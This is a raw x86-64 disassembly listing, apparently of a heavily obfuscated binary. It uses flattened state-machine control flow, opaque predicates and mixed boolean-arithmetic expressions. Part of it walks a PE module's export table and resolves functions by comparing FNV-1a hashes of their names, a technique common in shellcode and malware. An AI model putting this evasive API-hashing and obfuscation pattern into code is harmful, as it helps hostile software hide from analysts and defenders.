or r12d, r15d
mov ecx, eax
xor ecx, 0x4010422
and ecx, esi
not esi
xor ecx, r12d
mov r15d, eax
and r15d, 0x420
xor r11d, esi
and esi, 0x26010887
add esi, r15d
add esi, 0xd1f0c210
xor esi, ecx
mov ecx, edi
mov r15d, edi
xor r13d, edi
xor edi, 0x8d80cfea
and edi, r9d
xor edx, 0x4de1c672
xor esi, 0xd1f0d630
xor eax, 0x4de1c672
or eax, r11d
not eax
or eax, esi
mov esi, edx
and esi, 0xb7fb9257
or esi, 0x42d28
and edx, 0x48046da8
xor edx, esi
mov r11d, edx
mov esi, eax
and esi, 0xb7fb9257
or esi, 0x40004d08
and eax, 0x48046da8
xor eax, esi
mov esi, eax
xor esi, 0xf7fbdf5f
xor edx, 0x48004080
and edx, esi
mov r12d, ebx
not r12d
xor r11d, 0xb7ffbf7f
xor eax, 0x80420a0
and eax, r11d
mov r11d, r8d
xor r11d, 0xb2a695c4
or eax, edx
and ecx, 0xa631f20f
xor ecx, 0x8400c20a
xor r15d, 0x2bb13de5
and r14d, 0x59ce0df0
or r14d, 0x86009003
and r9d, 0xa631f20f
xor r9d, r14d
and ecx, r10d
or ecx, r15d
mov edx, r9d
xor r9d, 0xdfce9df3
and r9d, ecx
not ecx
xor edx, ecx
xor edx, 0xdfce9df3
and edx, ecx
or r9d, edx
mov ecx, r13d
xor ecx, 0x8d80cfea
or edi, ecx
mov ecx, r13d
xor ecx, 0x727f3015
xor r13d, edi
xor r13d, 0x727f3015
or ecx, edi
not ecx
or ecx, r13d
mov edx, ecx
and edx, 0xcde4750
or edx, 0x21209829
and ecx, 0xf321b8af
xor ecx, edx
mov edx, ecx
xor edx, 0xdedf67d6
and edx, r9d
xor ecx, r9d
xor ecx, 0xdedf67d6
or ecx, edx
mov edx, ecx
and edx, 0xa94c8ce7
lea r10d, [rdx + 0x42217110]
xor edx, 0xa94c8ce7
mov r9d, r10d
and r9d, 0x4804a0a0
mov esi, ecx
xor esi, 0x81480c46
and esi, edx
and edx, 0x20000001
or edx, r9d
mov edi, edx
and edi, 0x600080a1
and r10d, 0x8042000
add edi, r10d
add edi, 0x5021e54
xor edi, esi
xor edi, 0x33805e5d
xor edx, 0x20000001
and edx, esi
or edx, edi
and ecx, 0x56b37318
xor ecx, edx
mov edx, ecx
xor edx, 0x283593b1
mov edi, ecx
xor edi, 0xd7ca6c4e
and edi, edx
xor ecx, edi
xor ecx, 0xd7ca6c4e
or ecx, edi
mov edx, ecx
and edx, 0xab469b10
or edx, 0x50b0608d
and ecx, 0x54b964ef
xor ecx, edx
mov edx, ecx
xor edx, 0xaf4f9f72
mov edi, eax
not edi
and edi, edx
xor ecx, 0x50b0608d
and ecx, eax
or edi, ecx
and ecx, edx
and edx, eax
xor edi, edx
xor ecx, edi
mov eax, ebx
and eax, 0x4093dba5
or eax, 0x3e64205a
mov edx, ebx
and edx, 0xbf6c245a
xor edx, eax
mov r9d, edx
xor r9d, 0xc19bdfa5
mov eax, r8d
xor eax, 0x4d596a3b
xor edx, 0x3e64205a
mov edi, edx
or edi, r11d
and edx, eax
and r9d, r11d
or r9d, edx
xor r9d, edi
mov r10d, r9d
not r10d
mov eax, ebx
and eax, 0xd240d802
or eax, 0x2049
or r12d, 0xde6c8a14
and r12d, 0xff7c8ab4
xor r12d, eax
mov eax, r12d
xor eax, 0xca20210
and ebx, 0xcaf275d
lea edx, [rbx - 0x2dbf27fe]
xor r12d, 0xd754f
and r12d, edx
xor ebx, 0x2d3107b0
and ebx, eax
or ebx, r12d
mov r15d, r8d
xor r15d, 0x41f64d66
mov eax, r15d
and eax, 0x84a6247d
mov edx, ebx
and edx, 0x84afa47d
or edx, 0x29001a80
and ebx, 0x7b505b82
and r8d, 0x98000
add eax, r8d
add eax, 0x19105080
and r15d, 0x7b505b82
xor r15d, eax
xor r15d, ebx
xor r15d, edx
mov r14d, r15d
xor r14d, 0xcfefb5ff
mov r11d, r14d
and r11d, 0x260dd63e
mov r13d, r15d
and r13d, 0xd9f229c1
mov r8d, r10d
mov edx, r10d
mov r12d, r14d
or r14d, r10d
and r10d, 0x20cc21a
or r10d, 0x332424
and r8d, 0x90c00100
or r8d, 0x10
and edx, 0x493228c1
or edx, 0x8080440c
xor edx, r8d
mov esi, r9d
or esi, 0xdbfeebdb
xor esi, r10d
xor esi, edx
xor esi, 0xa6beb606
mov edx, r9d
xor edx, 0xd9f229c1
xor r9d, 0x260dd63e
or r9d, edx
not r9d
or r9d, esi
mov edx, r11d
not edx
mov eax, r13d
xor eax, 0xefeff7ff
mov esi, r15d
xor esi, 0x200c436
and esi, r11d
mov edi, r13d
xor edi, 0xcd3d5188
and edi, eax
or r13d, 0xdd2d5988
and r12d, 0x91008
xor r11d, eax
xor eax, edx
and edx, 0xc5044100
add edx, r12d
add edx, 0x2082a441
xor edx, esi
mov ebx, r13d
and ebx, 0x451651c1
and r15d, 0xc02000
or r15d, ebx
xor r13d, 0xdd3d5988
and r13d, edi
and edi, 0xd9fb29c9
xor edi, r15d
xor edi, 0x41100180
or r13d, edi
xor r13d, edx
xor r13d, 0x38abbcc9
or eax, r11d
not eax
or eax, r13d
xor eax, r9d
mov edx, r14d
not edx
and edx, eax
xor r14d, eax
xor r14d, edx
mov esi, ecx
and esi, 0x1f489344
lea r15d, [rsi + 0x60b00cb3]
mov edx, esi
xor edx, 0x1f489344
mov ebx, ecx
and ebx, 0xd338e252
or ebx, 0x2c47198d
mov edi, ecx
and edi, 0x2cc71dad
xor edi, ebx
mov ebx, edi
xor ebx, 0x330f8ac9
mov eax, ecx
not eax
xor edi, 0xccf07536
and edi, eax
mov r9d, ebx
and r9d, ecx
or r9d, edi
and r9d, ebx
mov r10d, r14d
and r10d, 0xe0b76cbb
lea eax, [r10 + 0x1c000300]
mov ebx, r14d
and ebx, 0x1f489344
xor ebx, eax
mov dword [rbp + 0x410], ebx
mov eax, r15d
and eax, 0x12086e0
xor ecx, 0x8480104
and ecx, edx
and edx, 0x16001000
or edx, eax
xor edx, 0x96027819
or ecx, edx
mov eax, ecx
xor eax, 0x8540002
and eax, 0x8d56825a
mov edx, ecx
and edx, 0x12287da5
or edx, eax
xor edx, 0xb557ca28
mov r11d, ecx
xor r11d, 0x9722fef9
mov eax, r11d
and eax, 0xa001040
or eax, edx
and r15d, 0x55d88b24
xor esi, 0x3569a797
or esi, r15d
mov edx, esi
xor edx, 0x7f79bff7
and edx, eax
mov edi, eax
not edi
mov eax, r9d
and eax, 0x2a2134d3
mov ebx, esi
xor ebx, 0x7ff8bff7
or esi, 0x80064008
and esi, edi
or edx, esi
and esi, ebx
and ebx, edi
xor edx, ebx
or esi, edx
mov edx, r9d
and edx, 0xd5decb2c
mov r12d, edx
xor r12d, 0x4912a796
mov ebx, r12d
or ebx, 0x5d4314bb
mov edi, r9d
or edi, 0xaabdffd7
xor edi, ebx
mov r15d, r9d
xor r15d, 0x22202040
and r15d, eax
xor edx, 0xd5decb2c
mov r13d, edx
or edx, eax
not eax
mov ebx, r9d
and ebx, 0x20200000
mov r8d, eax
and r8d, 0x2006240
add ebx, r8d
add ebx, 0x4c400028
xor ebx, r15d
mov r8d, ebx
xor r8d, 0xecfc892c
mov r15d, edi
xor edi, 0x2a3197d7
and edi, r8d
xor r15d, 0x6000
xor ebx, 0x130376d3
and ebx, r15d
or ebx, edi
mov r15d, dword [rbp + 0x410]
xor r15d, 0xfcb76fbb
and r15d, r14d
xor r10d, 0xe0b76cbb
and r13d, 0x504a8308
and r12d, 0x859448b4
or r12d, r13d
mov edi, r9d
and edi, 0xa203442
and eax, 0xa59548b5
or eax, edi
xor eax, r12d
xor eax, 0xdeeefffa
and eax, edx
or eax, ebx
mov edx, esi
xor edx, 0x4625c679
mov ebx, eax
and ebx, 0x4625c679
or ebx, 0x21981982
and eax, 0xb9da3986
xor eax, ebx
mov ebx, eax
xor ebx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ebx
xor eax, 0x98422004
and eax, edx
mov edx, ecx
xor edx, 0x130881e4
and edx, r11d
mov ebx, ecx
or ebx, 0xdbd780fa
mov edi, ebx
and edi, 0xc51ea4c
and ecx, 0x281501
or ecx, edi
xor ecx, edx
xor ecx, 0x2859814c
xor ebx, 0xfbdf81fe
and ebx, edx
or ebx, ecx
mov ecx, r9d
and ecx, 0xdbd780fa
or r11d, r9d
and r9d, 0x24287f05
or r9d, 0x43d68078
xor r9d, ecx
xor r9d, ebx
xor r9d, 0x98010082
and r9d, r11d
or r9d, eax
or r9d, esi
mov eax, r14d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r14d, 0xe0342421
and r14d, r10d
or r14d, ecx
mov esi, r14d
xor esi, 0xef7cb561
mov eax, r14d
and eax, 0x30240e
mov edx, esi
and edx, 0xf1cfcab1
or edx, eax
mov eax, edx
xor eax, 0xe303540
mov ebx, eax
and ebx, 0x74b34cb1
and edx, 0x814ca20e
or edx, ebx
or eax, 0xa45bbedf
mov edi, edx
xor edi, 0x51a47060
and edi, eax
mov eax, r15d
and eax, 0xa45bbedf
or eax, 0x1b044100
mov r8d, r15d
and r8d, 0x5ba44120
xor r8d, eax
mov eax, edi
not eax
and edx, 0x18000
mov r11d, edi
and r11d, 0x10c048b0
mov ecx, eax
and ecx, 0xec26020a
mov ebx, edi
and ebx, 0x1182445
or ebx, edx
lea edx, [rcx + r11]
add ecx, r11d
add ecx, 0x2018000
and r10d, 0x40a44020
xor ecx, ebx
mov ebx, r10d
xor ebx, 0xfce65bba
xor edx, 0xec26120a
and edx, ebx
mov ebx, edi
and ebx, 0x718c06f1
and eax, 0x8473e80e
or eax, ebx
or edi, r10d
xor eax, r10d
lea ebx, [r10 + 0x319a445]
xor ecx, 0x281c020
and ebx, ecx
xor eax, 0x718c06f1
and eax, edi
or eax, edx
or eax, ebx
mov edx, r8d
xor edx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, eax
not eax
and eax, edx
mov edx, r14d
and r14d, 0xc09208a5
and esi, 0x3a25f71a
or esi, r14d
xor edx, r15d
xor esi, r15d
mov ebx, r15d
not ebx
or eax, r8d
xor edx, 0xef7cb561
and edx, ebx
xor esi, 0x3aa7ff9e
or esi, edx
mov edx, esi
and edx, 0xd49ab90b
mov ecx, esi
and ecx, 0x2b6546f4
or ecx, 0x4412a808
xor ecx, edx
mov edx, ecx
xor edx, 0x6f77eefc
mov ebx, eax
xor ebx, 0x2b6546f4
and ebx, edx
not esi
and esi, eax
xor eax, 0xd49ab90b
xor ecx, 0x90881103
and ecx, eax
or esi, ecx
or esi, ebx
xor esi, r9d
imul eax, esi, 0x1000193
mov dword [rbp + 0x484], eax
mov eax, dword [rbp + 0x450]
mov r15d, dword [rbp + 0x44c]
mov r10, qword [rbp + 0x400]
mov r8d, dword [rbp + 0x3e0]
mov esi, dword [rbp + 0x3e8]
mov edi, dword [rbp + 0x48c]
mov r9d, dword [rbp + 0x490]
jmp 0x14008e120
cmp eax, 0x581f37ef
jle 0x14008fdf0
cmp eax, 0x581f37f0
je 0x14008fe67
cmp eax, 0x5c59f878
je 0x14008fe80
cmp eax, 0x7694ece2
jne 0x14008e120
test r15b, 1
movsx eax, byte [rbp + 0x4e7]
mov ecx, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x4ee]
mov ecx, 0x462bec05
jmp 0x14008fcc0
cmp ecx, 0x22c0f4b1
jne 0x14008fda9
mov ecx, dword [rbp + 0x4e8]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x14008fd10
cmp ecx, 0x58a11e18
jg 0x14008fd30
cmp ecx, 0x3117fdc4
je 0x14008fd4e
cmp ecx, 0x462bec05
jne 0x14008fcc0
movzx edx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x14008fcff
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x14008fcc0
cmp ecx, 0x1f53ad1a
jg 0x14008fca9
cmp ecx, 0x8353906e
je 0x14008fd6f
cmp ecx, 0xb9e70da7
je 0x14008fcb5
jmp 0x14008fcc0
cmp ecx, 0x58a11e19
je 0x14008fd8b
cmp ecx, 0x71946ac1
jne 0x14008fcc0
mov ecx, 0x3117fdc4
jmp 0x14008fcc0
mov dword [rbp + 0x4e8], eax
mov ecx, dword [rbp + 0x4e8]
cmp ecx, 0x41
setge byte [rbp + 0x4ef]
mov ecx, dword [rbp + 0x4c0]
jmp 0x14008fcc0
cmp byte [rbp + 0x4ef], 0
mov ecx, 0x58a11e19
jne 0x14008fcc0
mov ecx, 0x22c0f4b1
jmp 0x14008fcc0
mov edx, dword [rbp + 0x4e8]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x14008fcc0
mov ecx, 0x22c0f4b1
jmp 0x14008fcc0
cmp ecx, 0x1f53ad1b
jne 0x14008fcc0
mov eax, 0x9fdcb46a
jmp 0x14008e120
cmp eax, 0xbd0b03e6
je 0x14008feb0
cmp eax, 0xe59fd857
jne 0x14008fed5
mov r8d, dword [rbp + 0x484]
mov eax, 0x5c59f878
xor esi, esi
mov edi, dword [rbp + 0x4a8]
jmp 0x14008e120
cmp eax, 0x17954bb8
je 0x14008e0ff
cmp eax, 0x2f530768
jne 0x14008e120
mov eax, dword [rbp + 0x454]
jmp 0x14008e120
mov r8d, dword [rbp + 0x4d0]
mov eax, 0x5c59f878
mov esi, 1
mov edi, dword [rbp + 0x4d0]
jmp 0x14008e120
mov rax, qword [rbp + 0x4d8]
add rax, 1
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x4d8]
mov al, byte [rax]
mov byte [rbp + 0x4e7], al
cmp byte [rbp + 0x4e7], 0
setne byte [rbp + 0x4d7]
mov eax, dword [rbp + 0x4c4]
jmp 0x14008e120
cmp byte [rbp + 0x4d7], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x14008e120
mov dword [rbp + 0x4a4], edi
test esi, esi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r10, qword [rbp + 0x498]
mov ecx, dword [rbp + 0x4a4]
mov dword [rbp + 0x488], ecx
mov r9d, r8d
jmp 0x14008e120
mov eax, dword [rbp + 0x488]
mov dword [rbp + 0x4a8], eax
mov dword [rbp + 0x4d0], r9d
mov qword [rbp + 0x4d8], r10
mov eax, dword [rbp + 0x448]
jmp 0x14008e120
cmp eax, 0xc6b502bf
jne 0x14008e120
mov eax, dword [rbp + 0x4a4]
cmp eax, 0x3915b706
mov eax, 0x67ce0cc2
mov ecx, 0x34c97f99
cmove eax, ecx
jmp 0x14008dcd0
mov eax, 0x91fe3c8f
jmp 0x14008dcd0
mov eax, dword [rbp + 0x4ac]
mov eax, 0x25b8ba4e
jmp 0x14008dcd0
cmp byte [rbp + 0x4bb], 0
mov eax, 0xd4c10340
mov ecx, 0xb8791e98
cmovne eax, ecx
mov rcx, qword [rbp + 0x420]
mov qword [rbp + 0x408], rcx
jmp 0x14008dcd0
lea rax, [rbp + 0x468]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x468], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4e8]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x498]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1be0c2ca
jg 0x14008fff0
cmp edx, 0xd6cac8db
je 0x140090022
cmp edx, 0xf5647b0b
jne 0x14008ffd0
jmp 0x140090076
cmp edx, 0x1be0c2cb
je 0x140090034
cmp edx, 0x45f0e8c0
jne 0x14008ffd0
movzx eax, byte [rbp + 0x4e8]
cmp byte [rbp + 0x498], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x14008ffd0
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x14008ffd0
mov edx, 0xd6cac8db
jmp 0x14008ffd0
mov eax, 0x80055193
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x14008dcd0
mov eax, 0x825579c1
mov dword [rbp + 0x418], 0
jmp 0x14008dcd0
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 2
jmp 0x14008dcd0
mov qword [rbp + 0x4d8], rcx
mov rcx, qword [rbp + 0x4d8]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x3f0]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4e8]
cmp edi, 0xa
setge al
setl byte [rbp + 0x498]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp + 0x470], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp + 0x478], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop word cs:[rax + rax]
cmp ecx, 0xfb599b2d
jg 0x140090160
cmp ecx, 0x97bfe48f
je 0x140090177
cmp ecx, 0xbfa4195b
jne 0x140090140
jmp 0x1400901a8
cmp ecx, 0xfb599b2e
je 0x1400901a4
cmp ecx, 0x80d5946
jne 0x140090140
mov ecx, 0xfb599b2e
jmp 0x140090140
movzx eax, byte [rbp + 0x4e8]
movzx ecx, byte [rbp + 0x498]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x140090140
mov ecx, ebx
jmp 0x140090140
test r8d, r8d
setne byte [rbp + 0x4d8]
cmp byte [rbp + 0x4d8], 0
mov eax, 0x7d77dcca
mov ecx, 0x62d8a4f8
cmovne eax, ecx
jmp 0x14008dcd0
cmp eax, 0x80055193
jne 0x14008dcd0
mov rax, qword [rbp + 0x4c8]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0x2a1793f1
jmp 0x14008dc50
mov rax, qword [rbp + 0x4c8]
mov rax, qword [rax]
mov qword [rbp + 0x428], rax
mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0x93e3b353
jmp 0x14008dc37
mov eax, dword [0x1400f2768]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e448d7d
mov ecx, 0xf088f4e1
cmove eax, ecx
cmp dword [0x1400f276c], 0xa
cmovl eax, ecx
nop word cs:[rax + rax]
cmp eax, 0xf088f4e0
jg 0x140090290
cmp eax, 0x93e3b353
je 0x140092879
cmp eax, 0xa888c428
je 0x1400902bb
cmp eax, 0xe4ecd053
jne 0x140090250
cmp qword [rbp + 0x4b0], 0
mov eax, 0x2a1793f1
mov ecx, 0xa888c428
cmove eax, ecx
jmp 0x140090250
cmp eax, 0xf088f4e1
je 0x140092811
cmp eax, 0x2a1793f1
je 0x140090220
cmp eax, 0x7e448d7d
jne 0x140090250
mov rax, qword [rbp + 0x4c8]
mov eax, 0xf088f4e1
jmp 0x140090250
mov eax, 0x6ffe1116
jmp 0x1400902d0
mov eax, 0xd4c10340
xor ecx, ecx
mov qword [rbp + 0x408], rcx
cmp eax, 0xf28a6f12
jle 0x140090330
cmp eax, 0x63a2322a
jg 0x140090390
cmp eax, 0x34c97f98
jle 0x14009041f
cmp eax, 0x34c97f99
je 0x140090530
cmp eax, 0x3f1498e5
je 0x140090575
cmp eax, 0x62d8a4f8
jne 0x1400902d0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x91fe3c8f
jmp 0x14009051e
cmp eax, 0x9b6ef62e
jle 0x1400903d0
cmp eax, 0xa4df38c1
jle 0x140090475
cmp eax, 0xa4df38c2
je 0x14009251d
cmp eax, 0xb8791e98
je 0x1400902c2
cmp eax, 0xd4c10340
jne 0x1400902d0
mov rax, qword [rbp + 0x458]
mov eax, 0x80055193
mov rcx, qword [rbp + 0x408]
mov qword [rbp + 0x3f8], rcx
jmp 0x1400902d0
cmp eax, 0x6ffe1115
jle 0x1400904c0
cmp eax, 0x7d77dcca
je 0x1400902c2
cmp eax, 0x7519a91b
je 0x140092527
cmp eax, 0x6ffe1116
jne 0x1400902d0
mov eax, dword [rbp + 0x464]
jmp 0x1400902d0
cmp eax, 0x84c237ee
jg 0x1400904ef
cmp eax, 0x8232d9cb
je 0x140092537
cmp eax, 0x825579c1
jne 0x1400927eb
mov eax, dword [rbp + 0x418]
mov dword [rbp + 0x4bc], eax
mov rax, qword [rbp + 0x470]
mov ecx, dword [rbp + 0x4bc]
cmp ecx, dword [rax + 0x18]
mov eax, 0x3f1498e5
mov ecx, 0x84c237ef
cmove eax, ecx
jmp 0x1400902d0
cmp eax, 0xf28a6f13
je 0x14009255e
cmp eax, 0x25b8ba4e
jne 0x1400902d0
mov eax, dword [rbp + 0x4ac]
cmp eax, 2
sete byte [rbp + 0x4bb]
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8232d9cb
mov ecx, 0x7519a91b
cmovne eax, ecx
cmp dword [0x1400f2774], 0xa
mov ecx, 0x8232d9cb
cmovl eax, ecx
jmp 0x1400902d0
cmp eax, 0x9b6ef62f
je 0x14009265b
cmp eax, 0xa395c87a
jne 0x1400902d0
mov eax, dword [rbp + 0x494]
mov dword [rbp + 0x4ac], eax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x420], rax
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7519a91b
mov ecx, 0x25b8ba4e
jmp 0x14009051e
cmp eax, 0x63a2322b
je 0x14009266e
cmp eax, 0x67ce0cc2
jne 0x1400902d0
mov eax, dword [rbp + 0x4bc]
add eax, 1
mov dword [rbp + 0x418], eax
mov eax, 0x825579c1
jmp 0x1400902d0
cmp eax, 0x84c237ef
je 0x140092682
cmp eax, 0x91fe3c8f
jne 0x1400902d0
mov eax, dword [0x1400f2770]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa4df38c2
mov ecx, 0x63a2322b
cmove eax, ecx
cmp dword [0x1400f2774], 0xa
cmovl eax, ecx
jmp 0x1400902d0
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0xa395c87a
mov dword [rbp + 0x494], 1
jmp 0x1400902d0
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
mov ebx, edx
and bl, r9b
xor bl, cl
mov ebx, 0x17954bb8
mov edi, 0x9b012d00
cmovne ebx, edi
test edx, edx
mov esi, 0x9b012d00
cmove esi, ebx
cmp eax, 0xa
cmovl esi, edi
test cl, cl
cmove esi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, esi
cmove ebx, edi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov r15d, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x4c4], edx
cmovge ebx, esi
mov dword [rbp + 0x448], ebx
lea r14d, [rax - 1]
imul r14d, eax
mov dword [rbp + 0x438], r14d
and r14d, 1
sete r10b
cmp r15d, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r10b
mov edx, ebx
xor dl, 1
and r14b, r11b
or r14b, dl
xor r14b, bl
mov edx, r14d
xor dl, 1
and al, r10b
or al, dl
or r11b, r10b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov ebx, 0x71946ac1
cmovne ebx, edx
test al, 1
cmove ebx, edx
test cl, 1
mov eax, dword [rbp + 0x4bc]
mov rcx, qword [rbp + 0x468]
mov rdx, qword [rbp + 0x470]
mov esi, 0x8353906e
cmovne ebx, esi
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r10d, dword [rdx + rax*4]
add r10, rcx
test r14b, r14b
mov eax, 0x8353906e
cmovne eax, ebx
test r11b, r11b
cmove eax, ebx
mov dword [rbp + 0x4c0], eax
or r9b, r8b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r9d, 0x811c9dc5
mov dword [rbp + 0x44c], r15d
jmp 0x140090720
mov rax, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x4d8]
mov eax, 0x9b012d00
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x17954bb7
jg 0x140092270
cmp eax, 0xbd0b03e5
jg 0x1400923e0
cmp eax, 0x87ce9d3c
je 0x140092431
cmp eax, 0x9b012d00
je 0x14009244d
cmp eax, 0x9fdcb46a
jne 0x140090720
mov dword [rbp + 0x490], r9d
mov dword [rbp + 0x48c], edi
mov dword [rbp + 0x3e8], esi
mov dword [rbp + 0x3e0], r8d
mov qword [rbp + 0x400], r10
test byte [rbp + 0x438], 1
movsx r10d, byte [rbp + 0x4e7]
mov r8d, dword [rbp + 0x4d0]
sete byte [rbp + 0x4ed]
cmp r15d, 0xa
setl byte [rbp + 0x4ee]
mov eax, 0x462bec05
jmp 0x1400907c0
mov eax, dword [rbp + 0x4e8]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop dword [rax]
cmp eax, 0x3117fdc3
jle 0x140090810
cmp eax, 0x58a11e18
jg 0x1400911e0
cmp eax, 0x3117fdc4
je 0x140091218
cmp eax, 0x462bec05
jne 0x1400907c0
movzx ecx, byte [rbp + 0x4ed]
cmp byte [rbp + 0x4ee], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1400907c0
cmp eax, 0x1f53ad1a
jg 0x140091200
cmp eax, 0x8353906e
je 0x14009123a
cmp eax, 0xb9e70da7
jne 0x1400907c0
mov r9d, dword [rbp + 0x4e8]
mov eax, r9d
and eax, 0x300d32eb
or eax, 0x8922c414
mov edx, r9d
and edx, 0xcff2cd14
xor edx, eax
mov eax, edx
xor eax, 0x76dd3beb
mov ecx, edx
xor ecx, 0x8922c414
or ecx, eax
xor edx, 0x9f2d3869
and edx, ecx
xor edx, 0x160ffc7d
and edx, ecx
mov eax, edx
and eax, 0xe1770bb
mov r12d, edx
and r12d, 0xf1e88f44
or r12d, 0x6022002
xor r12d, eax
xor r12d, 0x81550b9
or r12d, edx
mov eax, r9d
and eax, 0x6098fcd3
or eax, 0xf210028
mov ecx, r9d
and ecx, 0x9f67032c
xor ecx, eax
mov ebx, ecx
xor ebx, 0x1367093
mov edx, ecx
or edx, 0xf1e88f44
xor edx, 0xffe98f6c
or edx, ebx
mov ebx, ecx
xor ebx, 0xfec98f6c
or ebx, edx
xor edx, ecx
xor edx, 0x1367093
and edx, ebx
mov ecx, r12d
and ecx, 0xee181f2d
mov ebx, r12d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, ecx
mov ecx, edx
mov eax, edx
not r12d
and r12d, edx
xor edx, 0x11e7e0d2
xor ecx, 0xb4b1d84f
and ecx, edx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, ecx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r12d, eax
or r12d, ebx
not r12d
mov eax, r12d
and eax, 0xa4519b98
and r12d, 0x5bae6467
or r12d, 0x84109000
xor r12d, eax
mov eax, r12d
xor eax, 0xdfbef467
mov r14d, r12d
and r14d, 0x5dfaf697
xor r12d, 0x824402f0
and r12d, eax
mov eax, r14d
xor eax, r12d
xor eax, 0x400290
xor r14d, 0x400290
and r14d, r12d
or r14d, eax
mov r11d, r14d
